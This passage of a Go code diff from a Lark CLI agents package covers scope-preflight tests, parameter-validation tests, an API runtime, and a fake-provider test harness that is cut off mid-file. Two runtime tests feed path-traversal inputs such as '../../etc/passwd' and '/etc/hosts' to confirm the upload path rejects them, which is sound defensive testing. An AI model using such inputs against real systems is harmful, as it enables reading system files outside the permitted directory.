"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
},
Provider: scopedInfo(t),
}))
if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
}
// Only the write scope → the other three are all reported.
ve = requirePreflightError(t, preflightScopes(preflightInput{
Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Provider: scopedInfo(t),
}))
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
}
}
// ---------------------------------------------------------------------------
// Command wiring: each verb runs preflight after resolveProvider and before
// any real API call. The stored-scope read goes through the storedUserScopes
// seam so no test touches the real keychain; zero httpmock stubs are
// registered, so any HTTP request would fail the test with a transport error
// instead of the asserted missing_scope.
// ---------------------------------------------------------------------------
// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
func swapStoredScopes(t *testing.T, scopes []string) {
t.Helper()
old := storedUserScopes
storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
t.Cleanup(func() { storedUserScopes = old })
}
// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
// explicitly set to user so ResolveAs honors it verbatim.
func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
t.Helper()
parent := &cobra.Command{Use: "lark-cli"}
for _, name := range names {
child := &cobra.Command{Use: name}
parent.AddCommand(child)
parent = child
}
parent.Flags().String("as", "", "identity")
if err := parent.Flags().Set("as", "user"); err != nil {
t.Fatal(err)
}
parent.SetContext(context.Background())
return parent
}
// userFactory builds a test Factory + registry for a user-identity run.
func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
t.Helper()
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
return f, reg
}
// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
// holds none of the provider's scopes fails with missing_scope
// (reporting the full set) and no request.
func TestSendPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
ve := requirePreflightError(t, err)
if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
}
}
// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
// still fails the all-or-nothing check, reporting the three scopes it lacks.
func TestSendPreflightPartialTokenBlocked(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
}
}
// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
// scope-free — it succeeds even when the token has none of the provider scopes.
func TestSendDryRunSkipsPreflight(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
})
if err != nil {
t.Fatalf("--dry-run should not run scope preflight: %v", err)
}
}
// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "get"),
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
})
ve := requirePreflightError(t, err)
if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
}
}
// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
// (resolveDownload path): it too runs the all-or-nothing preflight before the
// API call.
func TestTaskGetArtifactPreflightFires(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "get"),
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
ArtifactID: "art_1", Output: "out.bin",
})
ve := requirePreflightError(t, err)
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
}
}
// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentTaskListRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "list"),
Ref: "fakescoped:agt_x", As: "user",
})
requirePreflightError(t, err)
}
// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
// wiring: all three run the all-or-nothing preflight.
func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
runs := []struct {
name string
run func(f *cmdutil.Factory) error
}{
{"list", func(f *cmdutil.Factory) error {
return agentContextListRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "context", "list"),
Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
})
}},
{"get", func(f *cmdutil.Factory) error {
return agentContextGetRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "context", "get"),
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
})
}},
{"delete", func(f *cmdutil.Factory) error {
return agentContextDeleteRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "context", "delete"),
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
})
}},
}
for _, tc := range runs {
t.Run(tc.name, func(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
requirePreflightError(t, tc.run(f))
})
}
}
// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
// provider scope set lets the real send proceed (the scripted Send hook fires,
// proving preflight did not false-positive).
func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
swapStoredScopes(t, fakescopedAllScopes)
f, _ := userFactory(t)
sent := false
setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
sent = true
return &iagents.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateWorking}, nil
}})
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
if err != nil {
t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
}
if !sent {
t.Fatal("provider.Send should actually be called after preflight passes")
}
}
// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
// gate (fakemin card declares task_cancel=false) answers before
// provider/preflight, so a scope-missing user token yields
// unsupported_capability, not missing_scope — proving the wired
// preflight does not change the gate-first ordering.
func TestTaskCancelPreflightWired(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentTaskCancelRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agents", "task", "cancel"),
Ref: "fakemin:agt_x", TaskID: "t1", As: "user",
})
if err == nil {
t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
}
}
// swapBotTenantScopes swaps the botTenantScopes seam so no test touches the
// app-version fetch / network.
func swapBotTenantScopes(t *testing.T, scopes []string) {
t.Helper()
old := botTenantScopes
botTenantScopes = func(*cmdutil.Factory) []string { return scopes }
t.Cleanup(func() { botTenantScopes = old })
}
// TestTaskGetBotPreflightBlocksMissingScope pins the bot wiring end-to-end:
// preflightScopesForRef gathers tenant scopes via the botTenantScopes seam (not
// storedUserScopes) for a bot identity and blocks a missing scope.
func TestTaskGetBotPreflightBlocksMissingScope(t *testing.T) {
swapBotTenantScopes(t, []string{"fakescoped:agent_chat:read"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "get"), // taskCmdCtx sets --as bot
Ref: "fakescoped:agt_x", TaskID: "t1", As: "bot",
})
ve := requirePreflightError(t, err)
if ve.Identity != string(core.AsBot) {
t.Errorf("preflight error identity should be bot, got %q", ve.Identity)
}
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
t.Errorf("bot task get missing scopes should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
}
}
// contains reports whether s appears in the slice.
func contains(ss []string, s string) bool {
for _, x := range ss {
if x == s {
return true
}
}
return false
}

View File

@@ -0,0 +1,11 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
// Provider packages are pure data (no init side effect); the top-level agent
// package's init aggregates and registers them. In production that package is
// blank-imported from cmd/build.go, not by cmd/agent. Several tests here exercise
// the real example scheme (example:echo / example:reporter), so blank-import the
// top-level agent package to run its registration for the test binary.
import _ "github.com/larksuite/cli/agents"

View File

@@ -0,0 +1,203 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Tests pinning the excellence-review fixes: the --file local gate, scalar
// canonicalization across channels, nearest-first unknown-param suggestions,
// and the terminal self-loop removal in meta.next.
package agents
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
)
// TestValidateSendFiles pins the --file local gate: relative-within-CWD +
// existing regular file, all violations collected in one pass.
func TestValidateSendFiles(t *testing.T) {
mkSendFile(t, "ok.txt")
if err := validateSendFiles([]string{"ok.txt"}); err != nil {
t.Fatalf("a relative existing file should pass, got %v", err)
}
if err := validateSendFiles(nil); err != nil {
t.Fatalf("no files should pass, got %v", err)
}
abs := filepath.Join(t.TempDir(), "abs.txt")
if err := os.WriteFile(abs, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.Mkdir("adir", 0o755); err != nil {
t.Fatal(err)
}
err := validateSendFiles([]string{abs, "missing.txt", "adir", "ok.txt"})
if err == nil {
t.Fatal("abs path + missing file + directory should all be rejected")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
msg := err.Error()
for _, want := range []string{abs, "missing.txt", "adir"} {
if !strings.Contains(msg, want) {
t.Errorf("collect-all message should mention %q, got %q", want, msg)
}
}
if strings.Contains(msg, "ok.txt") {
t.Errorf("the valid file must not appear as a violation: %q", msg)
}
}
// canonSpec declares one param per scalar type for canonicalization tests.
func canonSpec() *iagents.AgentSpec {
return &iagents.AgentSpec{
Send: iagents.SendOp{
Params: []iagents.CardParam{
{Name: "flag", Type: "boolean"},
{Name: "n", Type: "integer"},
{Name: "render", Type: "object", Fields: []iagents.CardParam{
{Name: "watermark", Type: "boolean"},
}},
},
Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
},
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
}
}
// TestParamCanonicalization pins that accepted variant literals normalize to
// one canonical wire form regardless of channel: the provider (and dry-run,
// and the meta.next carry) never see TRUE/1/+5/04.
func TestParamCanonicalization(t *testing.T) {
spec := canonSpec()
cases := []struct{ kv, key, want string }{
{"flag=TRUE", "flag", "true"},
{"flag=1", "flag", "true"},
{"flag=0", "flag", "false"},
{"n=+5", "n", "5"},
{"n=04", "n", "4"},
{"render.watermark=T", "render.watermark", "true"},
{`render={"watermark":"TRUE"}`, "render.watermark", "true"},
{`render={"watermark":true}`, "render.watermark", "true"},
}
for _, tc := range cases {
vp, err := validateParams([]string{tc.kv}, spec.Send.Params, iagents.VerbSend, spec, "acme:x")
if err != nil {
t.Errorf("%s should validate, got %v", tc.kv, err)
continue
}
if got := vp.Resolved[tc.key]; got != tc.want {
t.Errorf("%s: resolved[%s] = %q, want canonical %q", tc.kv, tc.key, got, tc.want)
}
if got := vp.Given[tc.key]; got != tc.want {
t.Errorf("%s: given[%s] = %q, want canonical %q (the carry reads Given)", tc.kv, tc.key, got, tc.want)
}
}
}
// TestUnknownParamSuggestionsNearest pins the typo teaching: a near-miss key
// suggests the nearest declared names first (edit distance ≤ 2), not the full
// declaration-order table; a cross-verb hit keeps suggestions empty (a verb
// name is not a substitutable param name — the reason sentence teaches it).
func TestUnknownParamSuggestionsNearest(t *testing.T) {
spec := paramSpec()
_, err := validateParams([]string{"workspce_id=w"}, spec.Send.Params, iagents.VerbSend, spec, "acme:x")
verr := asValidationErr(t, err)
if len(verr.Params) != 2 { // unknown + missing-required workspace_id
t.Fatalf("want 2 violations, got %+v", verr.Params)
}
var sugg []string
for _, p := range verr.Params {
if p.Name == "workspce_id" {
sugg = p.Suggestions
}
}
if len(sugg) == 0 || sugg[0] != "workspace_id" {
t.Errorf("typo suggestions should lead with the nearest name, got %v", sugg)
}
if len(sugg) >= len(spec.Send.Params) {
t.Errorf("near-miss suggestions should be filtered, not the full table: %v", sugg)
}
// Cross-verb: task_list declares workspace_id? no — send-only param priority
// used against task_list reverse-looks-up to send.
_, err = validateParams([]string{"priority=high"}, spec.ListTasks.Params, iagents.VerbTaskList, spec, "acme:x")
verr = asValidationErr(t, err)
for _, p := range verr.Params {
if p.Name == "priority" {
if len(p.Suggestions) != 0 {
t.Errorf("cross-verb suggestions must not carry verb names, got %v", p.Suggestions)
}
if !strings.Contains(p.Reason, "声明在") {
t.Errorf("cross-verb reason should teach where it is declared, got %q", p.Reason)
}
}
}
}
func asValidationErr(t *testing.T, err error) *errs.ValidationError {
t.Helper()
if err == nil {
t.Fatal("expected a validation error")
}
verr, ok := err.(*errs.ValidationError)
if !ok {
t.Fatalf("want *errs.ValidationError, got %T: %v", err, err)
}
return verr
}
// TestNextForTaskNoSelfLoop pins that a terminal task viewed via task get does
// not suggest the very command just executed; artifact downloads remain.
func TestNextForTaskNoSelfLoop(t *testing.T) {
spec := &iagents.AgentSpec{
Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil }},
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
DownloadArtifact: iagents.ArtifactDownloadOp{
Handler: func(context.Context, iagents.Runtime, string, string) (*iagents.ArtifactData, error) { return nil, nil },
},
}
task := &iagents.AgentTask{
TaskID: "task_1", State: iagents.StateCompleted, IsTerminal: true,
Artifacts: []iagents.Artifact{{ID: "art_1", Kind: "text"}},
}
// Viewed from send: the detail suggestion IS the increment — keep it.
fromSend := nextForTask("example:x", task, spec, nil, iagents.VerbSend)
if len(fromSend) < 1 || !strings.Contains(fromSend[0].Command, "task get example:x task_1") {
t.Fatalf("send caller should keep the detail suggestion, got %+v", fromSend)
}
// Viewed from task get: the detail suggestion is a self-loop — drop it.
fromGet := nextForTask("example:x", task, spec, nil, iagents.VerbTaskGet)
for _, n := range fromGet {
if !n.Template && strings.Contains(n.Command, "task get example:x task_1") && !strings.Contains(n.Command, "--artifact") {
t.Errorf("task get caller must not re-suggest itself, got %+v", fromGet)
}
}
found := false
for _, n := range fromGet {
if strings.Contains(n.Command, "--artifact art_1") {
found = true
}
}
if !found {
t.Errorf("artifact download should survive the self-loop removal, got %+v", fromGet)
}
// No artifacts + task get caller → genuinely nothing to add.
bare := &iagents.AgentTask{TaskID: "task_2", State: iagents.StateCompleted, IsTerminal: true}
if next := nextForTask("example:x", bare, spec, nil, iagents.VerbTaskGet); len(next) != 0 {
t.Errorf("no increment should yield no next, got %+v", next)
}
}

118
cmd/agents/runtime.go Normal file
View File

@@ -0,0 +1,118 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
)
// cmdRuntime is the concrete iagents.Runtime: it routes provider hook calls
// through the shared client.APIClient under a pinned identity (mirrors event's
// consumeRuntime in cmd/event/runtime.go). Provider code never sees the client,
// the identity resolution, or the response-envelope unwrap — that is exactly the
// plumbing the old Deps struct leaked.
type cmdRuntime struct {
client *client.APIClient
as core.Identity
agentID string
params map[string]string // validated business params (defaults backfilled)
}
func (r *cmdRuntime) AgentID() string { return r.agentID }
func (r *cmdRuntime) IsBot() bool { return r.as == core.AsBot }
// Params returns a copy of the validated business parameters, so a hook cannot
// corrupt framework state (see the Runtime.Params contract in internal/agent).
func (r *cmdRuntime) Params() map[string]string {
out := make(map[string]string, len(r.params))
for k, v := range r.params {
out[k] = v
}
return out
}
func (r *cmdRuntime) CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error) {
var params map[string]interface{}
if len(query) > 0 {
params = make(map[string]interface{}, len(query))
for k, v := range query {
params[k] = v
}
}
return r.do(ctx, client.RawApiRequest{Method: method, URL: path, Params: params, Data: body, As: r.as})
}
func (r *cmdRuntime) CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []iagents.FilePart) (json.RawMessage, error) {
fd := larkcore.NewFormdata()
for k, v := range fields {
fd.AddField(k, v)
}
for _, fp := range files {
// SafeInputPath is the framework-owned security check (no path traversal /
// outside CWD); a provider must never re-implement it.
resolved, err := validate.SafeInputPath(fp.Path)
if err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err).
WithParam("--file").WithCause(err)
}
f, err := vfs.Open(resolved)
if err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: 无法打开 %s: %v", fp.Path, err).
WithParam("--file").WithCause(err)
}
// Closed when CallMultipart returns, i.e. after do()'s request has read the
// body — deferring in the loop keeps every file open for the request.
defer f.Close()
fd.AddFile(fp.Field, f)
}
return r.do(ctx, client.RawApiRequest{
Method: method, URL: path, Data: fd, As: r.as,
ExtraOpts: []larkcore.RequestOptionFunc{larkcore.WithFileUpload()},
})
}
// do is the shared DoAPI → ParseJSONResponse → CheckResponse → unwrap-"data"
// path. It returns the "data" sub-object as raw JSON (the typed Call[T]/
// CallUpload[T] helpers decode it). Identity is sealed in r.as and never handed
// out; any non-typed transport error is classified here so hooks only ever see
// typed errs.* values.
func (r *cmdRuntime) do(ctx context.Context, req client.RawApiRequest) (json.RawMessage, error) {
resp, err := r.client.DoAPI(ctx, req)
if err != nil {
if _, ok := errs.ProblemOf(err); ok {
return nil, err
}
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
}
result, err := client.ParseJSONResponse(resp)
if err != nil {
if _, ok := errs.ProblemOf(err); ok {
return nil, err
}
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
}
if apiErr := r.client.CheckResponse(result, r.as); apiErr != nil {
return nil, apiErr
}
top, _ := result.(map[string]interface{})
dataVal, ok := top["data"]
if !ok || dataVal == nil {
return nil, nil // no "data" (e.g. a pure write) — callers get the zero value
}
raw, err := json.Marshal(dataVal)
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: re-encode data: %s", req.Method, req.URL, err).WithCause(err)
}
return raw, nil
}

207
cmd/agents/runtime_test.go Normal file
View File

@@ -0,0 +1,207 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"errors"
"io"
"net/http"
"strings"
"testing"
lark "github.com/larksuite/oapi-sdk-go/v3"
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
)
// staticTokenResolver always returns a fixed token without any HTTP call.
type staticTokenResolver struct{}
func (s *staticTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
return &credential.TokenResult{Token: "test-token"}, nil
}
// stubRoundTripper intercepts every outgoing request with a canned response.
type stubRoundTripper struct {
respond func(*http.Request) (*http.Response, error)
}
func (s stubRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) { return s.respond(r) }
// newTestCmdRuntime builds a cmdRuntime whose client routes every request through
// rt (mirrors cmd/event/runtime_test.go's consumeRuntime harness). Identity is
// pinned to as; agentID is fixed.
func newTestCmdRuntime(rt http.RoundTripper, as core.Identity, agentID string) *cmdRuntime {
sdk := lark.NewClient("test-app", "test-secret",
lark.WithEnableTokenCache(false),
lark.WithLogLevel(larkcore.LogLevelError),
lark.WithHttpClient(&http.Client{Transport: rt}),
)
return &cmdRuntime{
client: &client.APIClient{
SDK: sdk,
ErrOut: io.Discard,
Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
Config: &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
},
as: as,
agentID: agentID,
}
}
func jsonResponse(status int, body string) func(*http.Request) (*http.Response, error) {
return func(r *http.Request) (*http.Response, error) {
return &http.Response{
StatusCode: status,
Header: http.Header{"Content-Type": []string{"application/json"}},
Body: io.NopCloser(strings.NewReader(body)),
Request: r,
}, nil
}
}
// TestCmdRuntime_IdentityAndAgentID pins invariant #4: the resolved identity is
// surfaced only via IsBot() (never the raw client), and AgentID echoes the
// addressed agent.
func TestCmdRuntime_IdentityAndAgentID(t *testing.T) {
bot := newTestCmdRuntime(stubRoundTripper{}, core.AsBot, "agt_1")
if !bot.IsBot() {
t.Error("bot runtime should report IsBot()=true")
}
if bot.AgentID() != "agt_1" {
t.Errorf("AgentID should be agt_1, got %q", bot.AgentID())
}
usr := newTestCmdRuntime(stubRoundTripper{}, core.AsUser, "agt_2")
if usr.IsBot() {
t.Error("user runtime should report IsBot()=false")
}
}
// TestCmdRuntime_CallAPI_UnwrapsData pins do(): a 200 OAPI envelope with code=0
// returns the raw "data" object (not the whole envelope), and the typed Call[T]
// helper decodes that raw data into a struct.
func TestCmdRuntime_CallAPI_UnwrapsData(t *testing.T) {
rt := stubRoundTripper{respond: jsonResponse(200, `{"code":0,"msg":"ok","data":{"task_id":"t1","state":"completed"}}`)}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
raw, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
if err != nil {
t.Fatalf("CallAPI should succeed: %v", err)
}
var data map[string]any
if err := json.Unmarshal(raw, &data); err != nil {
t.Fatalf("CallAPI should return the raw data object as valid JSON: %v", err)
}
if data["task_id"] != "t1" || data["state"] != "completed" {
t.Errorf("CallAPI should return the unwrapped data object, got %+v", data)
}
// The typed Call[T] helper decodes that same raw data into a struct — no
// map[string]any assertions at the call site.
got, err := iagents.Call[struct {
TaskID string `json:"task_id"`
State string `json:"state"`
}](context.Background(), r, "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
if err != nil {
t.Fatalf("Call[T] should succeed: %v", err)
}
if got.TaskID != "t1" || got.State != "completed" {
t.Errorf("Call[T] should decode data into the struct, got %+v", got)
}
}
// TestCmdRuntime_CallAPI_APIError pins that a non-zero code becomes a typed error
// (CheckResponse), not a silent success.
func TestCmdRuntime_CallAPI_APIError(t *testing.T) {
rt := stubRoundTripper{respond: jsonResponse(200, `{"code":1254043,"msg":"task not found"}`)}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
if _, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/nope", nil, nil); err == nil {
t.Fatal("a non-zero API code should surface as an error")
} else if _, ok := errs.ProblemOf(err); !ok {
t.Fatalf("API error should be a typed errs error, got %T: %v", err, err)
}
}
// TestCmdRuntime_CallAPI_TransportError pins the transport-error branch: a
// RoundTrip failure is classified as a network transport error.
func TestCmdRuntime_CallAPI_TransportError(t *testing.T) {
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
return nil, errors.New("dial refused")
}}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
_, err := r.CallAPI(context.Background(), "POST", "/open-apis/example/v1/messages", nil, map[string]any{"text": "hi"})
if err == nil {
t.Fatal("a transport error should propagate")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Category != errs.CategoryNetwork {
t.Fatalf("transport error should be a network error, got %+v", p)
}
}
// TestCmdRuntime_CallMultipart_RejectsUnsafePath pins invariant #5: CallMultipart
// SafeInputPath-validates every --file BEFORE opening it, so an absolute /
// traversal path is rejected as invalid_argument (param --file) and NO request
// is issued (the transport panics if reached).
func TestCmdRuntime_CallMultipart_RejectsUnsafePath(t *testing.T) {
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
t.Fatal("no request should be issued when the --file path is unsafe")
return nil, nil
}}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
for _, bad := range []string{"/etc/hosts", "../../etc/passwd"} {
_, err := r.CallMultipart(context.Background(), "POST", "/open-apis/example/v1/attachments",
map[string]string{"type": "file"},
[]iagents.FilePart{{Field: "file", Path: bad}})
if err == nil {
t.Fatalf("an unsafe --file path %q should be rejected", bad)
}
if !errs.IsValidation(err) {
t.Fatalf("unsafe path %q should be a validation error, got %T: %v", bad, err, err)
}
var ve *errs.ValidationError
if !errors.As(err, &ve) || ve.Param != "--file" {
t.Errorf("unsafe path %q should carry param --file, got %+v", bad, ve)
}
}
}
// TestCmdRuntime_CallUpload_PropagatesError pins the typed CallUpload[T] helper
// (the multipart counterpart of Call[T]): when CallMultipart rejects an unsafe
// --file path, CallUpload propagates that validation error and returns the zero
// value of T without attempting a decode. Mirrors the Call[T] coverage in
// TestCmdRuntime_CallAPI_UnwrapsData so both typed entry points a provider uses
// are exercised, not just the JSON one.
func TestCmdRuntime_CallUpload_PropagatesError(t *testing.T) {
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
t.Fatal("no request should be issued when the --file path is unsafe")
return nil, nil
}}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
got, err := iagents.CallUpload[struct {
AttachmentID string `json:"attachment_id"`
}](context.Background(), r, "POST", "/open-apis/example/v1/attachments",
map[string]string{"type": "file"},
[]iagents.FilePart{{Field: "file", Path: "/etc/hosts"}})
if err == nil {
t.Fatal("CallUpload with an unsafe --file path should error")
}
if !errs.IsValidation(err) {
t.Fatalf("CallUpload should propagate the validation error, got %T: %v", err, err)
}
if got.AttachmentID != "" {
t.Errorf("CallUpload should return the zero value of T on error, got %+v", got)
}
}

View File

@@ -0,0 +1,170 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"sync"
"testing"
iagents "github.com/larksuite/cli/internal/agents"
)
// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
// one AgentSpec verb; an unset hook that gets called panics — a tripwire against
// a test reaching an unexpected provider path. The command-layer contracts under
// test (envelope shape, watch exit codes, meta.next, pretty rendering, error
// propagation) are provider-neutral, so the scripted hooks ignore the Runtime.
type scriptedHooks struct {
send func(in iagents.SendInput) (*iagents.AgentTask, error)
getTask func(taskID string) (*iagents.AgentTask, error)
listTasks func(contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error)
listContexts func(page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error)
getContext func(ctxID string) (*iagents.ContextDetail, error)
deleteContext func(ctxID string) error
cancelTask func(taskID string) error
downloadArtifact func(taskID, artifactID string) (*iagents.ArtifactData, error)
}
// scripted is the package-level hook set shared by every scripted instance (the
// registered provider is fixed per package run, the hooks can be re-pointed).
var scripted scriptedHooks
// setScripted installs the hooks for one test and restores the empty (panic
// tripwire) set on cleanup.
func setScripted(t *testing.T, h scriptedHooks) {
t.Helper()
scripted = h
t.Cleanup(func() { scripted = scriptedHooks{} })
}
// scriptedSpec is the instance template whose capability surface is fixed by
// which hooks are wired: everything the command tests drive is wired (the
// task_cancel unsupported gate is exercised via example:echo, whose spec leaves
// it unwired), FileInput=true so the --file gate/confirm path is reachable, and
// InputRequired=true so the --answer capability gate passes (Register requires
// a question-asking spec to wire CancelTask, hence the cancel hook). Each wired
// hook delegates to the per-test hook and panics if it was not set.
func scriptedSpec() *iagents.AgentSpec {
return &iagents.AgentSpec{
FileInput: true,
InputRequired: true,
CancelTask: iagents.TaskCancelOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) error {
if scripted.cancelTask == nil {
panic("scripted provider: CancelTask hook not set")
}
return scripted.cancelTask(taskID)
}},
